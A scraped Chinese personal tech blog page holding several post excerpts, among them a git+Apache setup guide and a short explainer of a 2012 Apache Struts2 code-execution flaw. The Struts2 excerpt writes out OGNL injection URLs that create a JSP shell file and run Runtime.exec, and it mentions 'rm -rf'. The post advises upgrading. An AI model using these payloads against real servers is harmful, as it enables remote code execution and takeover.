散文

【版本管理】windows上搭建git+apache服务器 1

git服务器最大的特点是分布式版本控制,而且更为强大的是合并功能,这点也是常用的。就抛弃svn了。在windows上面搭建svn很容易,下次再说。在windows上面搭建git版本服务器,常用msysGit +Cygwin来搭建,曾经用此种方法搭建过一次,繁琐的很,这次用git+apache来搭建,搭建很容易的。准备软件msysgit&nbsp;http://code.google.com/p/msysgit/downloads/listapache serverhttp://httpd.apache.org/download.cgi&nbsp;&nbsp;&nbsp;&nbsp; 下载包含OpenSSL的版本tortoisegit&nbsp; http://code.google.com/p/tortoisegit/downloads/list&nbsp; 和tortoisesvn一样的客户端工具,操作方便,推荐使用操作步骤1.安装msysGit&nbsp;&nbsp;&nbsp; 我安装在D:serverGit&nbsp;&nbsp;&nbsp; 注:图中请选择Run git from the Windows Command prompt&nbsp;&nbsp;&nbsp; 2.复制dll文件&nbsp;&nbsp;&nbsp; 在git中的D:serverGitlibexecgit-coregit-http-backend.exe是用来处理HTTP 请求的,直接运行会出现错误。&nbsp;&nbsp;&nbsp; 缺少libiconv-2.dll,libiconv-2.dll位于D:serverGitbinlibiconv-2.dll,将D:serverGitbinlibiconv-2.dll复制到D:serverGitlibexecgit-core,再次运行git-http-backend.exe就不会出现错误。&nbsp;&nbsp;&nbsp; git分就算是完成了。3.安装apache服务器&nbsp;&nbsp;&nbsp; 我安装在D:serverApache2.2,正常完成后,apache会自动启动,并且占用80端口,打开浏览器,进入http://localhost ,如果出现“It works!”,就说明apache服务器安装成功了。4.配置用户帐号&nbsp;&nbsp;&nbsp; 使用命令提示符进入D:serverApache2.2bin目录,输入命令:htpasswd -cmb htpassword dapeng dapeng&nbsp;&nbsp;&nbsp; 执行成功后,就会在当前目录下生成htpassword 文件,内容如下,用户名 :dapeng&nbsp; 密码:dapeng,密码是加密过的。dapeng:$apr1$uF7Kv.a9$iHcUdyOeGA7GnWWWjkd3T/             复制htpassword到D:GitRepos,D:GitRepos是作为版本库的地方。5.配置Apache服务器    进入D:serverApache2.2conf,用文本编辑器打开httpd.conf,找到 <directory />,修改如下:<directory />Options FollowSymLinksAllowOverride NoneOrder deny,allowAllow from all</directory>然后在 httpd.conf 文件末尾追加:# Set this to the root folder containing your Git repositories.# 指定 Git 版本库的位置SetEnv GIT_PROJECT_ROOT C:/workspace# Set this to export all projects by default (by default,# git will only publish those repositories that contain a# file named “git-daemon-export-ok”# 该目录下的所有版本库都可以透过 HTTP(S) 的方式存取SetEnv GIT_HTTP_EXPORT_ALL# Route specific URLS matching this regular expression to the git http server.# 令 Apache 把 Git 相关 URL 导向给 Git 的 http 处理程序ScriptAliasMatch"(?x)^/(.*/(HEAD |info/refs |objects/(info/[^/]+ |[0-9a-f]{2}/[0-9a-f]{38} |pack/pack-[0-9a-f]{40}.(pack|idx)) |git-(upload|receive)-pack))$""D:/server/Git/libexec/git-core/git-http-backend.exe/$1"<Location />AuthType BasicAuthName "GIT Repository"AuthUserFile "D:/GitRepos/htpasswd"Require valid-user</Location>上面修改内容中,第一个指令设置 Git 的版本库位置;第二个指令表示,该目录下的所有版本库都可以通过 HTTP(S) 的方式存取;第三个指令则是让 Apache 把 Git 相关 URL 导向给 Git 的 HTTP 处理程序,也就是我们前面提到的 git-http-backend.exe。最后的 <Location /> 区段设定了虚拟根路径 "/" 的验证规则;D:/GitRepos/htpasswd 是账号密码文件,该文件可以在任何位置,也可以使任何名字,只要在这里指定即可。在httpd.conf大概46行,配置Apache的端口,默认是80,我修改为801完成上述修改之后,重启 Apache 服务。如果你希望将来透过远端存取版本库时,一律使用 http://my-server/git/* 开头的 URL,则可将 ScriptAliasMatch 指令改为 "(?x)^/git/(.*/(HEAD | ……." 6.初始化版本库…

struts2代码执行漏洞

刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt还是热乎的,我大概白话一下。这个漏洞的级别很高,都升级修补一下。影响版本是2.3.1和2.3.1之前的版本解决办法是升级2.3.1.1漏洞原理(自己理解的)Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。例如处理请求配置这样<action name="Test" class="example.Test">&nbsp;&nbsp;&nbsp; <result name="input">test.jsp</result></action>通过ONGL就可以转换成/Test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b’oh!god!系统权限就有了,想干什么,就可以干什么了。或者这样/Test.action?id=’%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec(‘calc’))%2b’想执行什么就可以执行什么了。比如 rm –rf /root..我根据说明做了一下测试jdk:1.6struts:2.2.1代码如下:struts.xml 1:<?xmlversion="1.0"encoding="UTF-8" ?> 2:<!DOCTYPEstrutsPUBLIC 3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 4:"http://struts.apache.org/dtds/struts-2.0.dtd"> 5:<struts> 6:<packagename="default"namespace="/"extends="struts-default"> 7:<actionname="test"class="me.dapeng.action.Test"> 8:<resultname="input">test.jsp</result> 9:</action> 10:</package> 11:</struts>Test.java 1:package me.dapeng.action; 2:  3:import com.opensymphony.xwork2.ActionSupport; 4:  5:/** 6: * 7: * @ClassName:Test.java.java 8: * @ClassDescription:测试Struts2漏洞 9: * @Author:dapeng 10: * @CreatTime:2012-1-9 下午1:45:36 11: * 12: */ 13:publicclass Test extends ActionSupport { 14:long id; 15:  16: @Override 17:public String execute() throws Exception { 18: System.out.println("execute input"); 19:return"input"; 20: } 21:  22:publiclong getId() { 23:return id; 24: } 25:  26:publicvoid setId(long id) { 27:this.id = id; 28:…

13个代码注释的小技巧

13个代码注释的小技巧&nbsp;这篇文章是由Jos&eacute; M. Aguilar在他卓越的博客中以西班牙语的形式首发,其后Timm Martin在获得Aguilar先生的授权下,对该文章进行翻译、修改,并且在DevTopics上发布。以下13个小技巧可以使得你的代码在长时间内依然能够保持容易理解和维护。1. 对不同级别的代码进行注释对于不同级别的代码块,要使用统一的方法来进行注释。例如:对于每一个类,需要包含一段简明扼要的描述,作者和上一次修改的时间对于每一个方法,需要包含这个方法的用途,功能,参数以及返回结果当你在一个团队里面的时候,采用一套注释的标准是非常重要的。当然,使用一种大家都认可的注释约定和工具(例如C#的XML注释和Java的Javadoc)在一定程度上能推动这项任务。2. 使用段落注释首先把代码块分解成多个“段落”,每一个段落都执行单一的任务;然后在每一个“段落”开始之前添加注释,告诉阅读代码的人接下来的这段代码是干什么用的复制内容到剪贴板代码:// 检查所有记录都是正确的foreach (Record record in records){&nbsp;&nbsp;&nbsp; if (rec.checkStatus()==Status.OK)&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; . . .&nbsp;&nbsp;&nbsp; }}// 现在开始进行处理Context ctx = new ApplicationContext();ctx.BeginTransaction();. . .3. 对齐注释行对于那些在行末写有注释的代码,应该对齐注释行来使得方便阅读const MAX_ITEMS = 10; // maximum number of packetsconst MASK = 0x1F;&nbsp;&nbsp;&nbsp; // mask bit TCP有些开发人员使用tab来对齐注释,而另外一些人会用空格来对齐。由于tab在不同的编辑器和集成开发环境中会有所不同,所以最佳的方法是使用空格来对齐注释行。4. 不要侮辱阅读者的智慧要避免没用的注释,例如复制内容到剪贴板代码:if (a == 5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //如果a等于5&nbsp;&nbsp;&nbsp; counter = 0&nbsp;&nbsp;&nbsp; //把counte设为0这不单把时间浪费在写没用的注释上面,同时也在分散读者的注意力。5. 要有礼貌应当避免没有礼貌的注释,例如“要注意一些愚蠢的用户会输入一个负数”,或者“修正由菜鸟工程师写的愚蠢得可怜的代码而导致的副作用”。这样的注释对于代码的写注释的人来说并没有任何好处,同时你永远都不会知道将来这些注释会被谁来阅读,你的老板,一个客户或者是刚才被你数落的愚蠢得可怜的工程师。6. 直截了当不要在注释里面写过多的废话。避免在注释里面卖弄ASCII艺术,写笑话,作诗和过于冗长。简而言之就是保持注释的简单和直接。7. 使用统一的风格有些人觉得注释应该让非程序员也能看懂。另外一些人觉得注释需要面对的读者只是程序员。无论如何,正如Successful Strategies for Commenting Code中所说的,最重要的是注释的风格需要统一,并且总是面向相同的读者。就自己而论,我怀疑非程序员是否会去读代码,所以我觉得注释应该面向程序员来写。8. 在内部使用特殊的标签当你在一个团队里工作的时候,采用一组一致的标签能帮助不同的程序员沟通。例如,很多团队会采用“TODO”标签来表示一段尚未完成的代码复制内容到剪贴板代码:int Estimate(int x, int y){&nbsp;&nbsp;&nbsp; // TODO: implement the calculations&nbsp;&nbsp;&nbsp; return 0;}标签注释并不会解释代码,它们寻求注意或者是传递信息。但是如果适当地使用这种技术,要记住跟进这段代码并且完成该标签传递的任务。9. 在写代码的同时添加注释当你在写代码而且记忆犹新的同时就添加注释。如果等到项目后期才添加注释,会让你事倍功半。“我没有时间写注释”,“我的时间很紧迫”和“项目已经延迟了”,这些都是不写注释的常见借口。有些工程师觉最佳的解决方法是“注释先行”。例如:复制内容到剪贴板代码:public void ProcessOrder(){&nbsp;&nbsp;&nbsp; // Make sure the products are available&nbsp;&nbsp;&nbsp; // Check that the customer is valid&nbsp;&nbsp;&nbsp; // Send the order to the store&nbsp;&nbsp;&nbsp; // Generate bill}10. 把自己想象为注释的读者(事实上就是如此)当你正在给代码写注释的时候,不仅仅为日后维护你的代码的开发者考虑,同时也设想一下如果自己就是注释的读者。Phil Haack曾经说过:“一旦一行代码被敲到文件中, 你就已经要开始维护那一行代码了。”所以,我们自己就是好(或者坏)注释的第一个受益者(或者受害者)。11. 更新代码的时候要更新注释如果注释没有随着代码的修改而更新,那么这些注释将是毫无意义的。代码和注释需要同步,否则注释只会让维护代码的开发者更加痛苦。需要特别注意的是,一些重构的工具会自动更新代码,但是却没有自动更新注释,那么注释就自然而然地过期作废了。12. 良好可读性代码是注释的金科玉律对于很多开发者来说,一个基本的原则就是:让代码自己描述自己。虽然有人怀疑这是由不喜欢写注释的程序员所倡导的一场运动,但是无需解释的代码有很大的好处,这些代码更加容易理解甚至让注释变得没有必要。例如,在我的文章Fluid Interfaces中就给大家展示了什么是清晰的无需解释的代码。复制内容到剪贴板代码:Calculator calc = new Calculator();calc.Set(0);calc.Add(10);calc.Multiply(2);calc.Subtract(4);Console.WriteLine( “Result: {0}”, calc.Get() );在这个例子里面,注释就像是违反了第4条技巧那样,变得毫无必要。要写出可读性好的代码,你需要使用适当的命名方式(在经典的Ottinger’s Rules中有阐述),保证恰当的缩进,并且采用编码风格指导。如果代码不遵守这条技巧,那么注释看起来就好像是为自己不好的代码的写道歉信一样。13. 跟你的同事分享这些技巧虽然从第10条技巧中我们已经知道了自己就是好注释的得益者,但是这些技巧对于所有的开发者来说都是很有帮助的,尤其是整个团队都有相同共识的情况下。因此,大方地跟你的同事去分享这些技巧,让我们写出更加容易理解和维护的代码。

如何成为“10倍效率”开发者

Brad Feld的一篇文章The Rise of Developeronomics中提到了“10倍效率的开发者(10x developer)”的概念(伟大的开发者的效率往往比一般的开发者高很多,而不只是一点点),Adam Loving在读了之后受到启发,并向多位大牛(Ben Sharpe、Collin Watson和Jonathan Locke)询问如何成为“10倍效率的开发者”,最后得到了以下的答案。 1. 只做需要做的工作使用敏捷方法;全心全意做UX设计;沟通第一;编码也许不是解决问题的办法;过早的优化是一切罪恶的根源;选择最简单的解决方案。2. 站在巨人的肩膀上使用开源框架;使用简洁语言(如HAML、Jade、Coffeescript);不要做重复的事情(不要重新发明轮子);利用包管理器来进行公共和私有代码分配;不要任凭巨头(如微软)的摆布而修复库中的一个Bug;不要让你的雇主逼你学习;自主学习并为自己设定新的目标。3. 了解数据结构和算法如果你不知道什么时候应该使用快速排序、不懂辨认O(n2)程序、不会写递归函数,你将无法成为10倍效率的开发者。使用多种语言你才能清楚不同的框架是如何解决相同问题的。尽可能去了解底层命令(plumbing),以便能够作出明智的决定(Web框架是怎么存储session状态的?Cookie到底是什么?)。&nbsp;4. 不要怕买工具,它可以节省你的时间Ben说:“昨天我花50美元买了一个位图字体工具,它帮我节省的时间成本绝对超过200元。” &nbsp;5. 集中注意力不要整天开着你的电子邮件、Twitter、Facebook等,在工作时将它们最小化或关掉它们,戴上耳机。Tiny hack说:“即使不听音乐我也戴着耳机工作,这样便不会有人打扰到我。” &nbsp;6. 尽早并且经常性地进行代码重构有时,你不得不放弃漂亮的代码转而去寻找真正对项目有用的代码,但没关系,如果你的现有项目中有这样的代码,最好的方式便是不要看它,并重构。 &nbsp;7. 只管去做将你的业余项目分享到Startup Weekend中。在我开始转到Unix和Ruby on Rails上之前,我买了一台Mac,使用Windows虚拟机花了一年时间做.NET项目。 &nbsp;8. 挑选一个编辑器,并掌握它高效开发者喜欢用文本编辑器胜过IDE编辑器,因为这样可以学到更多东西。无论什么情况,尽量使用键盘快捷键,因为熟练使用一件工具的前提是熟悉它。 在选择编辑器时,认真考虑并挑选最好的(Emacs或Vim),因为它们是通用的。其次,挑选你的首选平台最支持的。使用宏,不断地写代码;使用Mac上的TextExpander为整个段落创建快捷方式;使用Visual Studio或SublimeText的自动补齐功能;使用支持按行/列分割窗口的编辑器,这样你便能同时看到单元测试和代码(或模型、视图)。 一定要想清楚后再写代码。Adam说,“我有朋友在一个大项目组里工作,他们组里最高效的程序员是一个高位截瘫用嘴叼着棍子敲代码的人,他总是在写代码之前想得很仔细且很少出错。” &nbsp;9. 整洁的代码胜过巧妙的代码要想让其他人能够读懂你的代码,尽量使用最少的代码来完成任务。遵循DRY(Don’t repeat yourself)的原则,使用明确定义的对象和库,将任务分解成小而简单的代码段。 &nbsp;10. 潜意识是强大的工具离开10分钟往往就可以解决一个问题。控制编程时间,给自己一个多姿多彩的生活,劳逸结合能让你在工作时更高效、更愉悦。当然,即便是上了年纪的程序员也知道,以最少的时间完成最高效的工作是成为10倍效率开发者的必要条件。 作为一个程序员,我觉得在职业生涯中最好的一件事儿就是从电脑前站起来,去拜访那些在某一领域有所建树的人们。 &nbsp;11. 推动自身和团队进步重视批评,以包容的态度接受批评并提升自己是非常重要的事情。没有这个基础,你不可能成为一个高效的开发者。一位智者曾经说过:“聪明的人善于从自己的错误中学习,而智慧的人善于从别人的错误中学习。” &nbsp;英文原文:http://adamloving.com/internet-programming/10x-developers原文网址:http://www.iteye.com/news/23799

程序猿笑话-巡逻

一晚下班回家,一民警迎面巡逻而来。突然对我大喊:站住!民警:int类型占几个字节?我:4个。民警:你可以走了。我感到很诧异。我:为什么问这样的问题?民警:深夜还在街上走,寒酸苦逼的样子,不是小偷就是程序员。

小米订购成功

关注小米已经很久了,一直在纠结的是小米还是魅族MX,现在M8也可以换购MX,心里是痒痒啊,可一想到魅族对M8A做的一些事情,真TMD的不地道,也不愿意继续做煤油。于是在2011-12-18日凌晨1点成功的订购了小米。我从2011-12-18 0点就开始订购,小米的服务器一度打不开,可见有多少人在刷,不能不佩服小米雷军的手段,在销售了3个小时后,小米放出话来,10万手机已经售罄了。这个是营销手段,还真的是售罄了,都明白,只不过是吊人胃口而已。我就被吊了,耐心的等待小米!一下子成米粉了,哈哈!

dapeng 2012主题

dapeng 2012主题的主题的模仿的腾讯CDC的主题,主题的特点是精简,比起上一个主题,没有太多的css、js、页面效果,主要是为了增加页面的速度。另外一个也是为了在2012年也有一个自己的风格主题。也就是目前自己使用的这款主题,里面很多的都是代码实现的,也是整理自己接触Wordpress,熟悉的一些函数。分页、首页图片、相关文章、分类目录等都重写了代码,加入的注释。图片演示效果:最近访问网站的速度也有些慢,自己用的外链图片也很难访问,为了速度加快一些,使用了cloudflare提供的CDN服务。使用CDN服务后的效果对比:我用的是使用的服务器地址是:174.37.169.153,效果肯定比不上国内,但也比起超时要好的多。另外之前一直使用的wp spuer cache也没有生效,今天也捣腾的可以用了。使用Firebug测试了下首次打开速度,也基本保持在3s左右,可能网络好,满足下虚荣感。主题基本就定下来了,下一步就是做一些SEO的事情了,不过,我的观点是回归自己建立博客的本质。博客首先是记录收集的地方,分享也就是附带的目的吧!如果仅仅是记录收集,用记事本还不简单啊!

J2EE系统的概念及如何开发

文章比较老,不过也把Java开发的常用的方式、方向也说明了。J2EE开发三件宝: Domain Model(域建模)、patterns(模式)和framework(框架)。J2EE系统的概念及如何开发J2EE学习者越来越多,J2EE本身技术不断在发展,涌现出各种概念,本文章试图从一种容易理解的角度对这些概念向初学者进行解释,以便掌握学习J2EE学习方向。首先我们需要知道Java和J2EE是两个不同概念,Java不只是指一种语言,已经代表与微软不同的另外一个巨大阵营,所以Java有时是指一种软件系统的流派,当然目前主要是.NET和Java两大主流体系。J2EE可以说指Java在数据库信息系统上实现,数据库信息系统从早期的dBase、到Delphi/VB等C/S结构,发展到B/S(Browser浏览器/Server服务器)结构,而J2EE主要是指B/S结构的实现。J2EE又是一种框架和标准,框架类似API、库的概念,但是要超出它们。如果需要详细了解框架,可先从设计模式开始学习。J2EE是一个虚的大的概念,J2EE标准主要有三种子技术标准:WEB技术、EJB技术和JMS,谈到J2EE应该说最终要落实到这三个子概念上。这三种技术的每个技术在应用时都涉及两个部分:容器部分和应用部分,Web容器也是指Jsp/Servlet容器,你如果要开发一个Web应用,无论是编译或运行,都必须要有Jsp/Servlet库或API支持(除了JDK/J2SE以外)。Web技术中除了Jsp/Servlet技术外,还需要JavaBeans或Java Class实现一些功能或者包装携带数据,所以Web技术最初裸体简称为Jsp/Servlet+JavaBeans系统。谈到JavaBeans技术,就涉及到组件构件技术(component),这是Java的核心基础部分,很多软件设计概念(设计模式)都是通过JavaBeans实现的。JavaBeans不属于J2EE概念范畴中,如果一个JavaBeans对象被Web技术(也就是Jsp/Servlet)调用,那么JavaBeans就运行在J2EE的Web容器中;如果它被EJB调用,它就运行在EJB容器中。EJB(企业JavaBeans)是普通JavaBeans的一种提升和规范,因为企业信息系统开发中需要一个可伸缩的性能和事务、安全机制,这样能保证企业系统平滑发展,而不是发展到一种规模重新更换一套软件系统。至此,JavaBeans组件发展到EJB后,并不是说以前的那种JavaBeans形式就消失了,这就自然形成了两种JavaBeans技术:EJB和POJO,POJO完全不同于EJB概念,指的是普通JavaBeans,而且这个JavaBeans不依附某种框架,或者干脆可以说:这个JavaBeans是你为这个应用程序单独开发创建的。J2EE应用系统开发工具有很多:如JBuilder、Eclipse等,这些IDE首先是Java开发工具,也就是说,它们首要基本功能是可以开发出JavaBeans或Java class,但是如果要开发出J2EE系统,就要落实到要么是Web技术或EJB技术,那么就有可能要一些专门模块功能(如eclipse需要lomboz插件),最重要的是,因为J2EE系统区分为容器和应用两个部分,所以,在任何开发工具中开发J2EE都需要指定J2EE容器。J2EE容器分为WEB容器和EJB容器,Tomcat/Resin是Web容器;JBoss是EJB容器+Web容器等,其中Web容器直接使用Tomcat实现的。所以你开发的Web应用程序可以在上面两种容器运行,而你开发的Web+EJB应用则只可以在JBoss服务器上运行,商业产品Websphere/Weblogic等和JBoss属于同一种性质。J2EE容器也称为J2EE服务器,大部分时它们概念是一致的。如果你的J2EE应用系统的数据库连接是通过JNDI获得,也就是说是从容器中获得,那么你的J2EE应用系统基本与数据库无关,如果你在你的J2EE应用系统耦合了数据库JDBC驱动的配置,那么你的J2EE应用系统就有数据库概念色彩,作为一个成熟需要推广的J2EE应用系统,不推荐和具体数据库耦合,当然这其中如何保证J2EE应用系统运行性能又是体现你的设计水平了。衡量J2EE应用系统设计开发水平高低的标准就是:解耦性;你的应用系统各个功能是否能够彻底脱离?是否不相互依赖,也只有这样,才能体现可维护性、可拓展性的软件设计目标。为了达到这个目的,诞生各种框架概念,J2EE框架标准将一个系统划分为WEB和EJB主要部分,当然我们有时不是以这个具体技术区分,而是从设计上抽象为表现层、服务层和持久层,这三个层次从一个高度将J2EE分离开来,实现解耦目的。因此,我们实际编程中,也要将自己的功能向这三个层次上靠,做到大方向清楚,泾渭分明,但是没有技术上约束限制要做到这点是很不容易的,因此我们还是必须借助J2EE具体技术来实现,这时,你可以使用EJB规范实现服务层和持久层,Web技术实现表现层;EJB为什么能将服务层从Jsp/Servlet手中分离出来,因为它对JavaBeans编码有强制的约束,现在有一种对JavaBeans弱约束,使用Ioc模式实现的(当然EJB 3.0也采取这种方式),在Ioc模式诞生前,一般都是通过工厂模式来对JavaBeans约束,形成一个服务层,这也是是Jive这样开源论坛设计原理之一。由此,将服务层从表现层中分离出来目前有两种可选架构选择:管理普通JavaBeans(POJO)框架(如Spring、JdonFramework)以及管理EJB的EJB框架,因为EJB不只是框架,还是标准,而标准可以扩展发展,所以,这两种区别将来是可能模糊,被纳入同一个标准了。 但是,个人认为:标准制定是为某个目的服务的,总要牺牲一些换取另外一些,所以,这两种架构会长时间并存。这两种架构分歧也曾经诞生一个新名词:完全POJO的系统也称为轻量级系统(lightweight),其实这个名词本身就没有一个严格定义,更多是一个吸引人的招牌,轻量是指容易学习容易使用吗?按照这个定义,其实轻量Spring等系统并不容易学习;而且EJB 3.0(依然叫EJB)以后的系统是否可称为轻量级了呢?前面谈了服务层框架,使用服务层框架可以将JavaBeans从Jsp/Servlet中分离出来,而使用表现层框架则可以将Jsp中剩余的JavaBeans完全分离,这部分JavaBeans主要负责显示相关,一般是通过标签库(taglib)实现,不同框架有不同自己的标签库,Struts是应用比较广泛的一种表现层框架。这样,表现层和服务层的分离是通过两种框架达到目的,剩余的就是持久层框架了,通过持久层的框架将数据库存储从服务层中分离出来是其目的,持久层框架有两种方向:直接自己编写JDBC等SQL语句(如iBatis);使用O/R Mapping技术实现的Hibernate和JDO技术;当然还有EJB中的实体Bean技术。持久层框架目前呈现百花齐放,各有优缺点的现状,所以正如表现层框架一样,目前没有一个框架被指定为标准框架,当然,表现层框架现在又出来了一个JSF,它代表的页面组件概念是一个新的发展方向,但是复杂的实现让人有些忘而却步。在所有这些J2EE技术中,虽然SUN公司发挥了很大的作用,不过总体来说:网络上有这样一个评价:SUN的理论天下无敌;SUN的产品用起来撞墙;对于初学者,特别是那些试图通过或已经通过SUN认证的初学者,赶快摆脱SUN的阴影,立即开溜,使用开源领域的产品来实现自己的应用系统。最后,你的J2EE应用系统如果采取上面提到的表现层、服务层和持久层的框架实现,基本你也可以在无需深刻掌握设计模式的情况下开发出一个高质量的应用系统了。还要注意的是: 开发出一个高质量的J2EE系统还需要正确的业务需求理解,那么域建模提供了一种比较切实可行的正确理解业务需求的方法,相关详细知识可从UML角度结合理解。当然,如果你想设计自己的行业框架,那么第一步从设计模式开始吧,因为设计模式提供你一个实现JavaBeans或类之间解耦参考实现方法,当你学会了系统基本单元JavaBean或类之间解耦时,那么系统模块之间的解耦你就可能掌握,进而你就可以实现行业框架的提炼了,这又是另外一个发展方向了。以上理念可以总结为一句话:J2EE开发三件宝: Domain Model(域建模)、patterns(模式)和framework(框架)。原文网址:http://www.javaresearch.org/article/31774.htm

Eclipse的visual editor的插件

visual editor俗称ve,现在在官方很难找到他的下载位置了。visual editor是制作JFC/Swing/SWT/RCP的工具,生成的代码比netbeans要简洁的多。整理下ve的在线安装地址eclipse3.6使用ve1.5http://download.eclipse.org/tools/ve/updates/1.5.0/eclipse3.4使用ve1.4http://download.eclipse.org/tools/ve/updates/1.4/ve1.5和1.4的zip离线包下载地址:VE-Update-1.4.0&nbsp;&nbsp; |&nbsp;&nbsp; VE-Update-1.5.0.zip

全国省市信息数据以及模型

全国省市信息数据以及模型两种不同的数据建模方式,各有优点!ORACLE数据库模型一,省市同一张表的,结构如下REGION_IDPROVINCE_NAMEREGION_CODEREGION_EN_NAMEREGION_CN_NAMEREGION_GRADEREGION_ORDERPARENT_REGION_IDREMARK****CREATE_TIME201山东省201 滨州市2 16  202山东省202 菏泽市2 16  203河南省203 郑州市2 17  204河南省204 开封市2 17  &nbsp;create table REGION&nbsp;(&nbsp;&nbsp;REGION_ID NUMBER(6) not null,&nbsp;&nbsp;PROVINCE_NAME VARCHAR2(50),&nbsp;&nbsp;REGION_CODE VARCHAR2(10),&nbsp;&nbsp;REGION_EN_NAME VARCHAR2(25),&nbsp;&nbsp;REGION_CN_NAME VARCHAR2(50),&nbsp;&nbsp;REGION_GRADE NUMBER(1),&nbsp;&nbsp;REGION_ORDER NUMBER(3),&nbsp;&nbsp;PARENT_REGION_ID NUMBER(6),&nbsp;&nbsp;REMARK VARCHAR2(255),&nbsp;&nbsp;CREATE_TIME DATE)&nbsp;模型二,省市分两张表,结构如下CIDCNAMEPID40北京市141天津市242上海市343重庆市444石家庄市545唐山市5&nbsp;create table CITY&nbsp;(&nbsp;&nbsp;CID NUMBER,&nbsp;&nbsp;CNAME VARCHAR2(32),&nbsp;&nbsp;PID NUMBER)create table PROVINCE&nbsp;(&nbsp;&nbsp;PID NUMBER,&nbsp;&nbsp;PNAME VARCHAR2(32))&nbsp;下载地址:http://dl.dbank.com/c02i3dc2dk&nbsp;&nbsp;

1 2 3 4 8